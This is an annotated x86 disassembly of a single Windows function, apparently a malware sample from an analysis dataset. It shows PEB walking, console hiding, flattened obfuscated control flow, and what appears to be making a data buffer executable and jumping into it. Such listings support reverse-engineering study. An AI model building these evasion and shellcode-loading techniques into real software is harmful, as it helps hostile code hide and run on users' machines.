Function at 0x406bf0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [0x447834]
lea ebx, [ebp - 0x1f]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax + 0xb], 0x2554ff05
mov dword [eax + 8], 0x5390158
mov dword [eax + 4], 0x57254712
mov dword [eax], 0xff574511
lea eax, [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4484e8], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push 0x441ae2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.FreeConsole
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
call eax
push 0x27
push section..data
push 0x547
push 0x447027
call section..text
add esp, 0x10
push 0xf
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call section..text
add esp, 0x10
push 0
push 1
push str._d__d
call fcn.00404880
add esp, 0xc
mov ecx, 0x4492b0
push 0
call fcn.00406f10
mov esi, eax
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, esi
push 0xa
call fcn.00416fc0
movsx eax, al
mov ecx, esi
push eax
call fcn.004168d0
mov ecx, esi
call fcn.00409d20
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
mov eax, 0xea305592
nop dword [eax + eax]
cmp eax, 0xd84f090
jle 0x406d20
cmp eax, 0x558cc92d
jle 0x406dc0
cmp eax, 0x558cc92e
je 0x406dff
cmp eax, 0x5f6cd766
jne 0x406cf0
jmp 0x406eef
cmp eax, 0xb5fe8172
je 0x406e19
cmp eax, 0xd8883b7b
je 0x406e49
cmp eax, 0xea305592
jne 0x406cf0
mov ecx, 0xa5e421e7
mov dword [ebp - 0x24], 1
nop dword [eax]
cmp ecx, 0xe62ea95
jle 0x406d70
cmp ecx, 0xe62ea96
je 0x406d91
cmp ecx, 0x137d8496
jne 0x406d50
jmp 0x406eb4
cmp ecx, 0xa5e421e7
je 0x406da2
cmp ecx, 0xb0a9f7c0
jne 0x406d50
mov ecx, 0x137d8496
mov al, 1
cmp ecx, 0xe62ea95
jg 0x406d58
jmp 0x406d70
mov ecx, 0x137d8496
xor eax, eax
cmp ecx, 0xe62ea95
jg 0x406d58
jmp 0x406d70
cmp dword [ebp - 0x24], 0
mov ecx, 0xe62ea96
mov edx, 0xb0a9f7c0
cmove ecx, edx
cmp ecx, 0xe62ea95
jg 0x406d58
jmp 0x406d70
cmp eax, 0xd84f091
je 0x406ed5
cmp eax, 0x4f691683
jne 0x406cf0
push edi
push dword [0x4484e8]
call fcn.00406830
add esp, 8
mov dword [ebp - 0x28], eax
mov eax, 0x558cc92e
xor esi, esi
cmp eax, 0xd84f090
jg 0x406cf7
jmp 0x406d20
mov eax, 0xb5fe8172
mov esi, 0x4e4
cmp eax, 0xd84f090
jg 0x406cf7
jmp 0x406d20
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x38]
push ecx
push 0x40
push esi
push 0x447027
call eax
test eax, eax
mov eax, 0xd8883b7b
mov ecx, 0x5f6cd766
cmove eax, ecx
cmp eax, 0xd84f090
jg 0x406cf7
jmp 0x406d20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], edi
mov edi, 0x447027
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x24], eax
mov esi, dword [ebp - 0x24]
push esi
mov edx, edi
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
mov ecx, 3
sub esp, 4
loop 0x406e72
mov dword [esp + 4], 1
xor dword [esp + 4], 0xbb8
mov dword [esp], edx
mov dword [esp + 8], 0
lea eax, [ebx]
push eax
ret
test al, 1
mov eax, 0xd84f091
mov ecx, 0x4f691683
cmovne eax, ecx
xor edi, edi
cmp eax, 0xd84f090
jg 0x406cf7
jmp 0x406d20
mov eax, 0x4f691683
mov edi, 0x8aafdc01
cmp eax, 0xd84f090
jg 0x406cf7
jmp 0x406d20
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004178c4
xor eax, eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret